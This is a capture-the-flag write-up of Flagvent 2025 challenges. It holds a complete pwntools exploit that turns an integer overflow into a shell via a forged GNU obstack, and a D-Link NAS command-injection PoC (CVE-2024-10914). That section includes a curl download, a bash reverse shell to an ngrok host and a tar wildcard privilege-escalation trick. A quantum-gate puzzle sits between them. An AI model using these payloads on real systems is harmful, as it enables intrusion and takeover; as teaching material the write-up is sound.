Flagvent 2025 - Hard
FV25.08
Challenge
hint: maybe look at the decomp / or rendered hint: heap exploitation is not required to solve this challenge Inspired by the CSCG Challenge Kellerspeicher from Diff-fusion. |
|
| Categories: |
|
| Level: | hard |
| Author: | xtea418 |
| Attachments: |
📦 kellerspeicher-aufm-haufen.tar.gz
|
| Spawnable Instance: |
|
The download contains the source for the remote instance:
oxdf@hacky$ ls kellerspeicher-aufm-haufen
compose.yaml Dockerfile flag.txt ld-linux-x86-64.so.2 libc.so.6 main main.c Makefile
Reversing
Source Analysis
The name “Kellerspeicher aufm Haufen” is German for “stack on the heap”, which describes exactly what this program does. It implements a stack data structure using GNU obstack, which is a heap-based memory allocator.
The source shows the main data structure:
struct keller {
struct obstack *obs;
u8 **elements;
size_t size;
size_t curr;
};
I’ll run it locally with Docker:
oxdf@hacky$ docker compose -f kellerspeicher-aufm-haufen/compose.yaml up -d --build
[+] Building 1.5s (13/13) FINISHED
=> [internal] load local bake definitions 0.0s
=> => reading from stdin 432B 0.0s
=> [internal] load build definition from Dockerfile 0.0s
=> => transferring dockerfile: 348B 0.0s
=> [internal] load metadata for docker.io/library/ubuntu:24.04 0.1s
=> [internal] load .dockerignore 0.0s
=> => transferring context: 2B 0.0s
=> [1/6] FROM docker.io/library/ubuntu:24.04@sha256:c35e29c9450151419d9448b0fd75374fec4fff364a27f176fb458d472d 0.0s
=> [internal] load build context 0.0s
=> => transferring context: 126B 0.0s
=> CACHED [2/6] RUN apt update && apt install -y socat 0.0s
=> CACHED [3/6] COPY flag.txt / 0.0s
=> CACHED [4/6] RUN chmod 444 /flag.txt 0.0s
=> CACHED [5/6] WORKDIR /app 0.0s
=> CACHED [6/6] COPY main libc.so.6 ld-linux-x86-64.so.2 ./ 0.0s
=> exporting to image 0.0s
=> => exporting layers 0.0s
=> => writing image sha256:99626c8aaac5395539e78ec239265b0be231515c53c26fab89df381af70a72b3 0.0s
=> => naming to docker.io/library/kellerspeicher-aufm-haufen-chal 0.0s
=> resolving provenance for metadata file 0.0s
[+] Running 2/2
✔ chal Built 0.0s
✔ Container kellerspeicher-aufm-haufen-chal-1 Started 0.3s
oxdf@hacky$ nc localhost 1337
Willkommen beim Kellerspeicher System! Bauen sie ihren ersten keller und lagern dort all ihre wichtigen Gegenstände.
Wählen sie eine der folgenden Aktionen:
1. Bau eines neuen Hauptkellers
2. Bau eines neuen Nebenkellers
3. Den Hauptkeller abreisen
4. Den Nebenkeller abreisen
5. Ein Element in den Hauptkeller einkellern
6. Ein Element in den Nebenkeller einkellern
7. Ein Element aus dem Hauptkeller auskellern
8. Ein Element aus dem Nebenkeller auskellern
9. Das System herunterfahren
Ihre Wahl:
The program provides a menu (in German) to create/destroy two stacks (“Keller” is German for cellar, but “Kellerspeicher” is the German computing term for a stack), and push (einkellern) or pop (auskellern) data from them. There are two stack slots: hauptkeller (main) and nebenkeller (secondary).
The Vulnerability
The vulnerability is in the kellerbau function, which creates a new stack. Menu options 1 and 2 both call kellerbau after prompting for a size. In the source, the allocation looks like:
k->elements = obstack_alloc(k->obs, sizeof(u8 *) * size);
But in the compiled binary, the size calculation overflows:
00101341 c1 e0 03 SHL EAX,0x3
The multiplication sizeof(u8 *) * size (which is 8 * size) is performed as a 32-bit integer before being passed to obstack_alloc. With size = 0x20000000 (536870912):
0x20000000 * 8 = 0x100000000- As a 32-bit integer, this overflows to
0
The result is that elements gets a 0-byte allocation, but k->size is set to the full 0x20000000. This allows writing pointers far beyond the allocated elements array.
GNU Obstack
GNU obstack is a memory allocation library that provides stack-like allocation within heap chunks. The key structure for exploitation is:
struct obstack {
long chunk_size; // +0x00
struct _obstack_chunk *chunk; // +0x08
char *object_base; // +0x10
char *next_free; // +0x18
char *chunk_limit; // +0x20
...
void *(*chunkfun)(void *, size_t); // +0x38 - function pointer!
void (*freefun)(void *, void *); // +0x40
void *extra_arg; // +0x48
unsigned use_extra_arg:1; // +0x50
};
When obstack needs more memory, it calls _obstack_newchunk, which invokes:
if (h->use_extra_arg)
new_chunk = (*h->chunkfun)(h->extra_arg, new_size);
else
new_chunk = (*h->chunkfun)(new_size);
If I can control chunkfun, extra_arg, and use_extra_arg, I can call system("/bin/sh").
Exploitation
Heap Leak
First, I need a heap leak to locate hauptkeller’s obstack structure in memory.
- Create hauptkeller with size
0x20000000(triggers the integer overflow, giving a 0-byte elements allocation) - Push data to hauptkeller - the pushed data gets stored in the obstack chunk, and a pointer to it is written to
elements[0] - Pop from hauptkeller - this prints the data at
elements[0], which contains heap pointers from the obstack internals
When we push “AAAAAAAA” and pop it back, we don’t just get our string - we get whatever was at elements[0], which points into the obstack’s chunk. This gives us a heap address we can use to calculate the location of the chunkfun field at offset +0x38.
from pwn import *
def menu(io):
io.recvuntil(b'Ihre Wahl: ')
io = remote('localhost', 1337)
# Create haupt with integer overflow (0-byte elements allocation)
menu(io)
io.sendline(b'1')
io.recvuntil(b'Kellers: ')
io.sendline(b'536870912') # 0x20000000
# Push to haupt
menu(io)
io.sendline(b'5')
io.recvuntil(b'data: ')
io.sendline(b'A' * 8)
# Pop from haupt - leaks heap address
menu(io)
io.sendline(b'7')
io.recvuntil(b'el: ')
heap_leak = u64(io.recvline().rstrip(b'\n')[:6].ljust(8, b'\x00'))
log.success(f'Heap leak: {hex(heap_leak)}')
oxdf@hacky$ uv run heap_poc.py
[+] Opening connection to localhost on port 1337: Done
[+] Heap leak: 0x5fad9cfc33b0
[*] Closed connection to localhost port 1337
Leak Libc Address
With the heap leak, I can now leak a libc address by corrupting nebenkeller to read from hauptkeller’s chunkfun field (which contains a pointer to malloc).
- Create nebenkeller with size 20 (normal allocation, adjacent in memory to hauptkeller)
- Push one item to nebenkeller - this sets
neben->curr = 1, which is necessary for the pop later. Without this,currwould be 0 and pop would return “empty” without reading fromelements. - Push 509 items to hauptkeller - each push writes a pointer to
elements[curr++], but since elements has 0 bytes allocated, these writes overflow into adjacent heap memory. After the heap allocations for both kellers, nebenkeller’skeller_tstructure sits about 509 pointer-widths (509 * 8 = 4072 bytes) past hauptkeller’s elements array. This offset was found through debugging. - Push a payload that overwrites
nebenkeller->elementsto point to hauptkeller’s obstackchunkfunfield. Sincechunkfunis at offset +0x38 in the obstack structure (shown above),heap_leak - 0x38gives us the address of thechunkfunfield. - Pop from nebenkeller - this decrements
currto 0 and readselements[0]. Since we corruptedelementsto point tochunkfun, this reads and prints themallocaddress stored there. Obstack usesmallocas its default chunk allocator, sochunkfunpoints tomallocin libc. - Calculate libc base from the leak
# /// script
# requires-python = ">=3.11"
# dependencies = [
# "pwntools",
# ]
# ///
from pwn import *
MALLOC_OFFSET = 0xa7930 # Offset of malloc in libc 2.42
def menu(io):
io.recvuntil(b'Ihre Wahl: ')
io = remote('localhost', 1337, ssl=False)
# Step 1: Create haupt with integer overflow
menu(io)
io.sendline(b'1')
io.recvuntil(b'Kellers: ')
io.sendline(b'536870912') # 0x20000000 - overflows to 0-byte allocation
# Step 2: Heap leak via push/pop
menu(io)
io.sendline(b'5') # push to haupt
io.recvuntil(b'data: ')
io.sendline(b'A' * 8)
menu(io)
io.sendline(b'7') # pop from haupt
io.recvuntil(b'el: ')
heap_leak = u64(io.recvline().rstrip(b'\n')[:6].ljust(8, b'\x00'))
log.success(f'Heap leak: {hex(heap_leak)}')
# Step 3: Create neben (target for corruption)
menu(io)
io.sendline(b'2')
io.recvuntil(b'Kellers: ')
io.sendline(b'20')
menu(io)
io.sendline(b'6') # push 1 item to neben
io.recvuntil(b'data: ')
io.sendline(b'N0')
# Step 4: Push 509 items to haupt (overflow towards neben's keller_t)
for i in range(509):
menu(io)
io.sendline(b'5')
io.recvuntil(b'data: ')
io.sendline(b'X')
# Step 5: Push payload that corrupts neben->elements
chunkfun_addr = heap_leak - 0x38
menu(io)
io.sendline(b'5')
io.recvuntil(b'data: ')
io.sendline(p64(chunkfun_addr) * 6)
# Step 6: Pop from neben to leak libc
menu(io)
io.sendline(b'8')
io.recvuntil(b'el: ')
malloc_addr = u64(io.recvline().rstrip(b'\n')[:6].ljust(8, b'\x00'))
libc_base = malloc_addr - MALLOC_OFFSET
log.success(f'Libc base: {hex(libc_base)}')
It works!
oxdf@hacky$ uv run libc_poc.py
[+] Opening connection to localhost on port 1337: Done
[+] Heap leak: 0x5ee93ac223b0
[+] Libc base: 0x731569166000
[*] Closed connection to localhost port 1337
To verify these leaks are correct: the libc base should be page-aligned (ending in 000), which 0x731569166000 is. The heap leak is implicitly verified by the libc leak succeeding - if the heap address was wrong, heap_leak - 0x38 would point to the wrong place and the libc leak would fail.
RCE
To get RCE, I’ll:
- Pop hauptkeller twice to set
curr = 509. After the 509 pushes + 1 corruption payload push from the libc leak phase,curr = 511. Popping twice gets us back tocurr = 509, so the next push writes toelements[509]. - Push a fake obstack structure to hauptkeller - this writes to
elements[509]. We established earlier that nebenkeller’skeller_tstructure sits at this location. Sinceobsis the first field in the keller struct (offset +0x00), writing here overwrites theobspointer to point at our fake obstack data. - The fake obstack has:
chunkfun = systemextra_arg = address of "/bin/sh"use_extra_arg = 1next_free = chunk_limit- obstack checks if there’s room for new data by comparing these; when they’re equal, there’s no room and it calls_obstack_newchunk
- Push to nebenkeller - since
neben->obsnow points to our fake obstack withnext_free = chunk_limit, any push triggers_obstack_newchunk, which callschunkfun(extra_arg, size)=system("/bin/sh")
The offsets for the bundled libc 2.42 can be found with readelf:
oxdf@hacky$ readelf -s kellerspeicher-aufm-haufen/libc.so.6 | grep -E ' malloc$| system$'
2692: 00000000000a7930 177 FUNC WEAK DEFAULT 16 malloc
2799: 0000000000053ac0 45 FUNC WEAK DEFAULT 16 system
oxdf@hacky$ strings -t x kellerspeicher-aufm-haufen/libc.so.6 | grep /bin/sh
1afebc /bin/sh
The full exploit is:
# /// script
# requires-python = ">=3.11"
# dependencies = [
# "pwntools",
# ]
# ///
import sys
from pwn import *
context.arch = "amd64"
# Libc 2.42 offsets
MALLOC_OFFSET = 0xA7930
SYSTEM_OFFSET = 0x53AC0
BINSH_OFFSET = 0x1AFEBC
KELLER_DIR = "/home/oxdf/flagvent2025/day08/kellerspeicher-aufm-haufen"
def menu(io):
io.recvuntil(b"Ihre Wahl: ")
if len(sys.argv) > 1:
# Remote: domain provided as argument
io = remote(sys.argv[1], 31337, ssl=True)
else:
# Local
#io = process([f"{KELLER_DIR}/ld-linux-x86-64.so.2", "--library-path", KELLER_DIR, f"{KELLER_DIR}/main"])
io = remote('localhost', 1337)
# Create haupt with integer overflow (0-byte elements allocation)
menu(io)
io.sendline(b"1")
io.recvuntil(b"Kellers: ")
io.sendline(b"536870912") # 0x20000000
# Get heap leak via push/pop
menu(io)
io.sendline(b"5")
io.recvuntil(b"data: ")
io.sendline(b"H" * 8)
menu(io)
io.sendline(b"7")
io.recvuntil(b"el: ")
data = io.recvline().rstrip(b"\n")
heap_leak = u64(data[:6].ljust(8, b"\x00"))
log.success(f"Heap leak: {hex(heap_leak)}")
# Create neben (target for corruption)
menu(io)
io.sendline(b"2")
io.recvuntil(b"Kellers: ")
io.sendline(b"20")
# Push 1 item to neben
menu(io)
io.sendline(b"6")
io.recvuntil(b"data: ")
io.sendline(b"N0")
# Push 509 items to haupt (overflow towards neben's keller_t)
p = log.progress("Pushing to haupt")
for i in range(509):
p.status(f"{i+1}/509")
menu(io)
io.sendline(b"5")
io.recvuntil(b"data: ")
io.sendline(b"X")
p.success("done")
# Push corruption payload (overwrites neben->elements)
chunkfun_addr = heap_leak - 0x38
payload = p64(chunkfun_addr) * 6
menu(io)
io.sendline(b"5")
io.recvuntil(b"data: ")
io.sendline(payload)
# Pop from neben to leak libc (reads malloc ptr from chunkfun)
menu(io)
io.sendline(b"8")
io.recvuntil(b"el: ")
data = io.recvline().rstrip(b"\n")
malloc_addr = u64(data[:6].ljust(8, b"\x00"))
libc_base = malloc_addr - MALLOC_OFFSET
log.success(f"libc base: {hex(libc_base)}")
system_addr = libc_base + SYSTEM_OFFSET
binsh_addr = libc_base + BINSH_OFFSET
# Pop haupt twice to set curr = 509
menu(io)
io.sendline(b"7")
io.recvline()
menu(io)
io.sendline(b"7")
io.recvline()
# Push fake obstack (overwrites neben->obs at elements[509])
fake_obstack = b""
fake_obstack += p64(0x1000) # chunk_size
fake_obstack += p64(heap_leak) # chunk
fake_obstack += p64(heap_leak) # object_base
fake_obstack += p64(heap_leak) # next_free = chunk_limit (triggers newchunk)
fake_obstack += p64(heap_leak) # chunk_limit
fake_obstack += p64(0xF) # alignment_mask
fake_obstack += p64(0) # temp
fake_obstack += p64(system_addr) # chunkfun = system
fake_obstack += p64(0) # freefun
fake_obstack += p64(binsh_addr) # extra_arg = /bin/sh
fake_obstack += p64(1) # use_extra_arg = 1
menu(io)
io.sendline(b"5")
io.recvuntil(b"data: ")
io.sendline(fake_obstack)
# Trigger shell via push to neben
menu(io)
io.sendline(b"6")
io.recvuntil(b"data: ")
io.sendline(b"A") # Triggers _obstack_newchunk -> system("/bin/sh")
io.interactive()
It works locally:
oxdf@hacky$ uv run exploit.py
[+] Opening connection to localhost on port 1337: Done
[+] Heap leak: 0x57fa0b4993b0
[+] Pushing to haupt: done
[+] libc base: 0x755065a36000
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root)
$ hostname
9aa68175dc66
$ cat /flag.txt
FV25{local_flag}
Running this against the remote target works:
oxdf@hacky$ uv run exploit.py 973b540c-9ebc-4ed4-802d-175554dfa16a.challs.flagvent.org
[+] Opening connection to 973b540c-9ebc-4ed4-802d-175554dfa16a.challs.flagvent.org on port 31337: Done
[+] Heap leak: 0x55852408c3b0
[+] Pushing to haupt: done
[+] libc base: 0x7f834fb0c000
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root)
$ hostname
kellerspeicher-aufm-haufen
$ cat /flag.txt
FV25{1m_1nt3r3st3d_1n_h0w_ppl_s0lv3d_th1s}
I’ve added the progress bar for leaking libc since it takes a couple minutes on remote, eventually giving the flag.
Flag: FV25{1m_1nt3r3st3d_1n_h0w_ppl_s0lv3d_th1s}
FV25.09
Challenge
Oh no! Four of Santa’s elves accidentally fell into a quantum transformer - a “gift” for a physicist. Now, the elves are in a strange quantum state: if we peek inside, either all of them are alive or all of them are… not. Luckily, you can program the machine using three magical operations:
The elves are numbered 0 to 3. Input your operations like this: |
|
| Categories: |
|
| Level: | hard |
| Author: | villambarna |
| Spawnable Instance: |
|
Solution
Website
The site presents a box to input operations:
First, I’ll see what happens if I submit an empty form (no operations). The response is:
The result array shows the probability of each elf being alive. Each has a 50% chance of being alive. This matches the problem description - they’re in a superposition where they could be alive or dead. The key insight from the problem is that they’re entangled: when we measure, they’ll ALL be alive or ALL be dead together.
I need to get all elves at 100% alive probability, or [1.0,1.0,1.0,1.0].
If I give it the example set of operations, it returns:
Still 50% alive for each elf.
Quantum Gates
Each elf can be alive, dead, or 50/50. We know that at the start they are all the same, but we don’t know which, so they are all in superposition or 50/50 (as shown above with no operations).
The three available gates (operations) are:
| Gate | Description |
|---|---|
| X | Flips the state: alive → dead, or dead → alive. If it’s in superposition, it stays there. |
| H | Puts something in superposition (50/50) OR collapses a superposition back to a definite state. Applying H to a definite state gives 50/50, and applying H to a 50/50 state gives a definite state back (though we don’t know which). |
| CX | Takes two qubits: a “control” and a “target”. If the control is \ |
GHZ State
The elves are in what’s called a GHZ state (named after physicists Greenberger, Horne, and Zeilinger):
|ψ⟩ = (|0000⟩ + |1111⟩) / √2
In plain English: there’s a 50% chance all elves are dead (0000) and a 50% chance all elves are alive (1111). No other possibilities exist - they’re perfectly correlated.
A GHZ state is typically built like this:
- Start with all qubits at |0⟩ (all dead)
- Apply H to qubit 0 → now qubit 0 is in superposition (50/50), others still definitely dead
- Apply CX from qubit 0 to qubit 1 → now if qubit 0 is alive, qubit 1 flips to alive too (they’re entangled)
- Apply CX from qubit 0 to qubit 2 → qubit 2 now entangled
- Apply CX from qubit 0 to qubit 3 → qubit 3 now entangled
The result is that all 4 qubits are entangled and they’ll all measure the same.
Solve
To undo a GHZ state, I need to reverse the steps. Quantum operations are reversible. CNOT is its own inverse (applying it twice returns to the original state), and H is also its own inverse.
I’ll apply CNOT gates from qubit 0 to the others, then H on qubit 0:
CX:0,1|CX:0,2|CX:0,3|H:0
The response is:
This is very close! All zeros means all elves are definitely dead (0% alive). The CNOT gates disentangled the qubits, and the H gate collapsed qubit 0’s superposition. But it collapsed to the |0⟩ (dead) state, and since I applied CNOTs, all the other qubits also ended up as |0⟩ (dead).
This is a definite state (no more superposition), but it’s the wrong one. The X gate flips dead ↔ alive, so I’ll add X gates to flip all 4 elves:
CX:0,1|CX:0,2|CX:0,3|H:0|X:0|X:1|X:2|X:3
The response:
All elves are now 100% alive, and there’s the flag.
Flag: FV25{Qu4ntum_c0mput1ng_1s_fun!}
FV25.10
Challenge
Rudolph found Santas old NAS. Somehow the factory reset did not work as expected. |
|
| Categories: |
|
| Level: | hard |
| Author: | lukyluke_ch |
| Spawnable Instance: |
|
The spawnable presents a website with a login to a D-Link ShareCenter:
Shell as www-data
CVE-2024-10914
Searching for vulnerabilities in D-Link NAS systems, I’ll find references to CVE-2024-10914:
CVE-2024-10914 is a command injection vulnerability in account_mgr.cgi. The name parameter in the cgi_user_add command is not properly sanitized.
This post goes into details, and includes a POC, which I can try here:
oxdf@hacky$ curl -k "https://cf5b1132-1052-45b4-8c36-b224f5e97709.challs.flagvent.org:31337/cgi-bin/account_mgr.cgi?cmd=cgi_user_add&name=';id;'"
uid=33(www-data) gid=33(www-data) groups=33(www-data),995(crontab)
Shell
Getting a shell here is tricky, only because I need multiple servers that can be reached from the target. Trying to send commands that involve redirection or pipe doesn’t work through this command injection. So I’m going to upload a shell script and then run it in two separate commands.
I’ll write an ngrok config that looks like this:
version: "3"
agent:
authtoken: <redacted>
tunnels:
web:
proto: http
addr: 80
shell:
proto: tcp
addr: 443
Now I’ll run ngrok start --config ngrok.yml --all, and it returns:
Session Status online
Account 0xdf (Plan: Free)
Version 3.34.1
Region United States (us)
Web Interface http://127.0.0.1:4040
Forwarding tcp://0.tcp.ngrok.io:19069 -> localhost:443
Forwarding https://7df52781f98b.ngrok-free.app -> http://localhost:80
Connections ttl opn rt1 rt5 p50 p90
0 0 0.00 0.00 0.00 0.00
Now I have a webserver and a TCP listener.
I’ll write a simple shell:
#!/bin/bash
bash -i >& /dev/tcp/0.tcp.ngrok.io/19069 0>&1
Now I’ll fetch it using the command injection:
oxdf@hacky$ curl -k "https://cf5b1132-1052-45b4-8c36-b224f5e97709.challs.flagvent.org:31337/cgi-bin/account_mgr.cgi?cmd=cgi_user_add&name=';curl+https://7df52781f98b.ngrok-free.app/shell.sh+-o+shell.sh;'"
This will write the shell as shell.sh in the same directory. On running, there’s a request at my Python webserver:
127.0.0.1 - - [13/Dec/2025 21:22:41] "GET / HTTP/1.1" 200 -
127.0.0.1 - - [13/Dec/2025 21:23:52] "GET /shell.sh HTTP/1.1" 200 -
Now I’ll run it:
oxdf@hacky$ curl -k "https://cf5b1132-1052-45b4-8c36-b224f5e97709.challs.flagvent.org:31337/cgi-bin/account_mgr.cgi?cmd=cgi_user_add&name=';bash+shell.sh;'"
This command just hangs, but there’s a shell at my listening nc:
oxdf@hacky$ nc -lvnp 443
Listening on 0.0.0.0 443
Connection received on 127.0.0.1 54882
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@web:/var/www/cgi-bin$
I’ll upgrade the shell using the standard trick:
www-data@web:/var/www/cgi-bin$ script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@web:/var/www/cgi-bin$ ^Z
[1]+ Stopped nc -lvnp 443
oxdf@hacky$ stty raw -echo; fg
nc -lvnp 443
reset
reset: unknown terminal type unknown
Terminal type? screen
www-data@web:/var/www/cgi-bin$
Shell as santa
Enumeration
There’s one user with a home directory in /home:
www-data@web:/home$ ls
santa
For some reason, www-data has a shell set in passwd along with santa and root:
www-data@web:/$ cat /etc/passwd | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/bin/bash
santa:x:1000:1000:Santa's NAS:/home/santa:/bin/bash
There’s an interesting file in /var/log:
www-data@web:/var/log$ ls
README apt dpkg.log journal lighttpd santas.cron.log
alternatives.log btmp exim4 lastlog private wtmp
santas.cron.log shows entries for every minute at :01 second:
Sat Dec 13 21:26:01 UTC 2025 Create Backup every minute from /mnt/disks
There’s a script in /var/spool/cron:
www-data@web:/var/spool/cron$ ls
crontabs santa_backup.sh
www-data can’t read in crontabs, but the script is:
#!/usr/bin/env bash
echo -e "$(date)\tCreate Backup every minute from /mnt/disks"
cd /mnt/disks
/usr/bin/tar -czf /home/santa/backup.tgz *
Tar Wildcard Injection
The backup script uses a wildcard * with tar, which is vulnerable to argument injection. www-data can write to /mnt/disks:
www-data@web:/mnt/disks$ ls -la
total 8
drwxrwxrwx 2 www-data www-data 4096 Nov 29 09:07 .
drwxr-xr-x 3 root root 4096 Nov 29 09:07 ..
I can create files that tar interprets as command-line options. I’ll write a script to create a SetUID copy of bash and create the checkpoint files:
www-data@web:/mnt/disks$ echo -e '#!/bin/bash\n\ncp /bin/bash /tmp/0xdf\nchmod 6777 /tmp/0xdf' | tee sploit.sh
#!/bin/bash
cp /bin/bash /tmp/0xdf
chmod 6777 /tmp/0xdf
www-data@web:/mnt/disks$ touch -- --checkpoint=1
www-data@web:/mnt/disks$ touch -- '--checkpoint-action=exec=sh sploit.sh'
www-data@web:/mnt/disks$ ls
'--checkpoint-action=exec=sh sploit.sh' '--checkpoint=1' keep sploit.sh
When the cron runs, tar expands the wildcard to:
tar -czf /home/santa/backup.tgz --checkpoint=1 --checkpoint-action=exec=sh sploit.sh sploit.sh
This executes sploit.sh as santa. After waiting up to a minute, there’s a file at /tmp/0xdf:
www-data@web:/mnt/disks$ ls -l /tmp/0xdf
-rwsrwsrwx. 1 santa santa 1298416 Dec 13 21:44 /tmp/0xdf
It’s owned by santa and SetUID and SetGID. Running it with -p gives a shell with effective uid and gid as santa:
www-data@web:/mnt/disks$ /tmp/0xdf -p
0xdf-5.2$ id
uid=33(www-data) gid=33(www-data) euid=1000(santa) egid=1000(santa) groups=1000(santa),33(www-data),995(crontab)
Collect Flag
Santa’s PowerShell History
As santa, I’ll enumerate the home directory:
0xdf-5.2$ ls -la
total 20
drwx------. 1 santa santa 24 Dec 13 20:59 .
drwxr-xr-x. 1 root root 19 Dec 7 21:26 ..
-rw-r--r--. 1 root root 310 Dec 7 21:25 .bash_history
-rw-r--r--. 1 santa santa 220 Jul 30 19:28 .bash_logout
-rw-r--r--. 1 santa santa 3526 Jul 30 19:28 .bashrc
drwxr-xr-x. 1 root root 19 Dec 7 21:26 .local
-rw-r--r--. 1 santa santa 807 Jul 30 19:28 .profile
-rw-rw-r--. 1 santa santa 198 Dec 13 21:45 backup.tgz
The .bash_history file shows santa installing PowerShell:
0xdf-5.2$ cat .bash_history
source /etc/os-release
wget -q https://packages.microsoft.com/config/debian/$VERSION_ID/packages-microsoft-prod.deb
sudo dpkg -i packages-microsoft-prod.deb
rm packages-microsoft-prod.deb
sudo apt-get update
sudo apt-get install -y powershell
pwsh
sudo apt-get purge -y powershell
rm -Rf ~/.config/powershell/
There’s a PowerShell history file in .local:
0xdf-5.2$ cat .local/share/powershell/PSReadLine/santas.pwsh_history
$ResourceGroup = "rg-flagvent25"
$ContainerName = "santasfv25storage"
Get-AzStorageAccount -Name $ContainerName
Get-AzStorageAccount -Name $ContainerName -ResourceGroupName $ResourceGroup
$Account = Get-AzStorageAccount -Name $ContainerName -ResourceGroupName $ResourceGroup
$Blob = Get-AzStorageBlob -Context $Account.Context -Container "santas-fv25-container"
$Blob
$Flag = @{
File = '/home/santa/flag.txt'
Container = $ContainerName
Blob = 'naughty-list.txt'
Context = $Context
StandardBlobTier = 'Cool'
}
$Rudolph = @{
File = '/home/santa/secret.png'
Container = $ContainerName
Blob = 'secure/santas_login_code.png'
Context = $Context
StandardBlobTier = 'Cool'
}
Set-AzStorageBlobContent @Flag
Set-AzStorageBlobContent @Rudolph
$Context = $Account.Context
Set-AzStorageBlobContent @Rudolph
$Flag = @{
File = '/home/santa/flag.txt'
Container = $ContainerName
Blob = 'naughty-list.txt'
Context = $Context
StandardBlobTier = 'Cool'
}
Copy-Item -Path "/home/santa/backup.tgz" -Destination "/mnt/backup/2024/12-24/"
$Rudolph = @{
File = '/home/santa/secret.png'
Container = $ContainerName
Blob = 'secure/santas_login_code.png'
Context = $Context
StandardBlobTier = 'Cool'
}
Set-AzStorageBlobContent @Rudolph
Set-AzStorageBlobContent @Flag
Get-AzStorageBlob -Context $Account.Context -Container "santas-fv25-container"
Remove-Item /home/santa/secret.png
Remove-Item /home/santa/flag.txt
Start-Process "https://shorter.me/rSJPF"
Get-AzKeyVault -VaultName "kv-fv25-mrs-claus"
Get-AzKeyVaultSecret -VaultName "kv-fv25-mrs-claus" -Name "santas-secret"
There’s a bunch of interaction with Azure blob storage that is just a red herring for this challenge. The important line is:
Copy-Item -Path "/home/santa/backup.tgz" -Destination "/mnt/backup/2024/12-24/"
/mnt/backup
There is not backup directory in /mnt:
0xdf-5.2$ ls -la /mnt/
total 0
drwxr-xr-x. 1 root root 19 Dec 7 21:26 .
drwxr-xr-x. 1 root root 73 Dec 14 02:19 ..
drwxr-xr-x. 1 www-data www-data 90 Dec 14 02:21 disks
There’s nothing mounted with that name at all:
0xdf-5.2$ mount | grep backup
0xdf-5.2$
Checking /etc/fstab for mount points reveals the backup was stored at https://ranta.ch/fv25/backup/2024/12-24/backup.tgz:
# UNCONFIGURED FSTAB FOR BASE SYSTEM
#https://ranta.ch/fv25/backup /mnt/backup davfs rw,auto,user,uid=santa,gid=santa,_netdev 0 0
It’s been commented out (which is why it’s not mounted now).
Recover Backup
Visiting https://ranta.ch/fv25/backup shows restricted access:
Still, I can access the file referenced in the PowerShell history:
oxdf@hacky$ wget https://ranta.ch/fv25/backup/2024/12-24/backup.tgz
--2025-12-14 02:26:37-- https://ranta.ch/fv25/backup/2024/12-24/backup.tgz
Resolving ranta.ch (ranta.ch)... 5.226.144.234
Connecting to ranta.ch (ranta.ch)|5.226.144.234|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 35633 (35K) [application/x-tar]
Saving to: ‘backup.tgz’
backup.tgz 100%[===================>] 34.80K 162KB/s in 0.2s
2025-12-14 02:26:38 (162 KB/s) - ‘backup.tgz’ saved [35633/35633]
oxdf@hacky$ tar xf backup.tgz
oxdf@hacky$ ls backup
Santa.png
Decode the QR Code
The Santa.png is a QR code with a Christmas tree overlay:
It decodes to:
oxdf@hacky$ zbarimg Santa.png
QR-Code:AWNL132uCM9fWjtqha9E1WNht6Y7mV6W5XFAk
The string is Base58 encoded, which CyberChef can decode to get the flag:
Flag: FV25{Alw@ys-P4tch-Y0ur-NAS}
FV25.H2
Challenge
This extra flag is hidden inside another challenge. |
|
| Categories: |
|
| Level: | hidden |
| Author: | hidden |
Solution
There’s a hidden flag on the file system of the NAS from day 10. The title hints at a tree, and the admins hinted at it more:
On the NSA, there’s a JQuery plugin called jQueryFileTree:
www-data@web:/var/www/web/jquery/jqueryFileTree$ ls
css images js
There’s nothing interesting in the text files. There are a bunch of images:
www-data@web:/var/www/web/jquery/jqueryFileTree$ ls -l images/
total 136
-rwxr-xr-x. 1 www-data www-data 837 Dec 7 21:25 add.png
-rwxr-xr-x. 1 www-data www-data 464 Dec 7 21:25 application.png
-rwxr-xr-x. 1 www-data www-data 828 Dec 7 21:25 close.png
-rwxr-xr-x. 1 www-data www-data 603 Dec 7 21:25 code.png
-rwxr-xr-x. 1 www-data www-data 618 Dec 7 21:25 css.png
-rwxr-xr-x. 1 www-data www-data 579 Dec 7 21:25 db.png
-rwxr-xr-x. 1 www-data www-data 537 Dec 7 21:25 directory.png
-rwxr-xr-x. 1 www-data www-data 651 Dec 7 21:25 doc.png
-rwxr-xr-x. 1 www-data www-data 294 Dec 7 21:25 file.png
-rwxr-xr-x. 1 www-data www-data 653 Dec 7 21:25 film.png
-rwxr-xr-x. 1 www-data www-data 217 Dec 7 21:25 first.gif
-rwxr-xr-x. 1 www-data www-data 582 Dec 7 21:25 flash.png
-rwxr-xr-x. 1 www-data www-data 583 Dec 7 21:25 folder_open.png
-rwxr-xr-x. 1 www-data www-data 734 Dec 7 21:25 html.png
-rwxr-xr-x. 1 www-data www-data 633 Dec 7 21:25 java.png
-rwxr-xr-x. 1 www-data www-data 220 Dec 7 21:25 last.gif
-rwxr-xr-x. 1 www-data www-data 668 Dec 7 21:25 linux.png
-rwxr-xr-x. 1 www-data www-data 1737 Dec 7 21:25 load.gif
-rwxr-xr-x. 1 www-data www-data 827 Dec 7 21:25 load.png
-rwxr-xr-x. 1 www-data www-data 615 Dec 7 21:25 magnifier.png
-rwxr-xr-x. 1 www-data www-data 385 Dec 7 21:25 music.png
-rwxr-xr-x. 1 www-data www-data 185 Dec 7 21:25 next.gif
-rwxr-xr-x. 1 www-data www-data 591 Dec 7 21:25 pdf.png
-rwxr-xr-x. 1 www-data www-data 538 Dec 7 21:25 php.png
-rwxr-xr-x. 1 www-data www-data 663 Dec 7 21:25 picture.png
-rwxr-xr-x. 1 www-data www-data 588 Dec 7 21:25 ppt.png
-rwxr-xr-x. 1 www-data www-data 186 Dec 7 21:25 prev.gif
-rwxr-xr-x. 1 www-data www-data 856 Dec 7 21:25 psd.png
-rwxr-xr-x. 1 www-data www-data 626 Dec 7 21:25 ruby.png
-rwxr-xr-x. 1 www-data www-data 859 Dec 7 21:25 script.png
-rwxr-xr-x. 1 www-data www-data 2530 Dec 7 21:25 spinner.gif
-rwxr-xr-x. 1 www-data www-data 342 Dec 7 21:25 txt.png
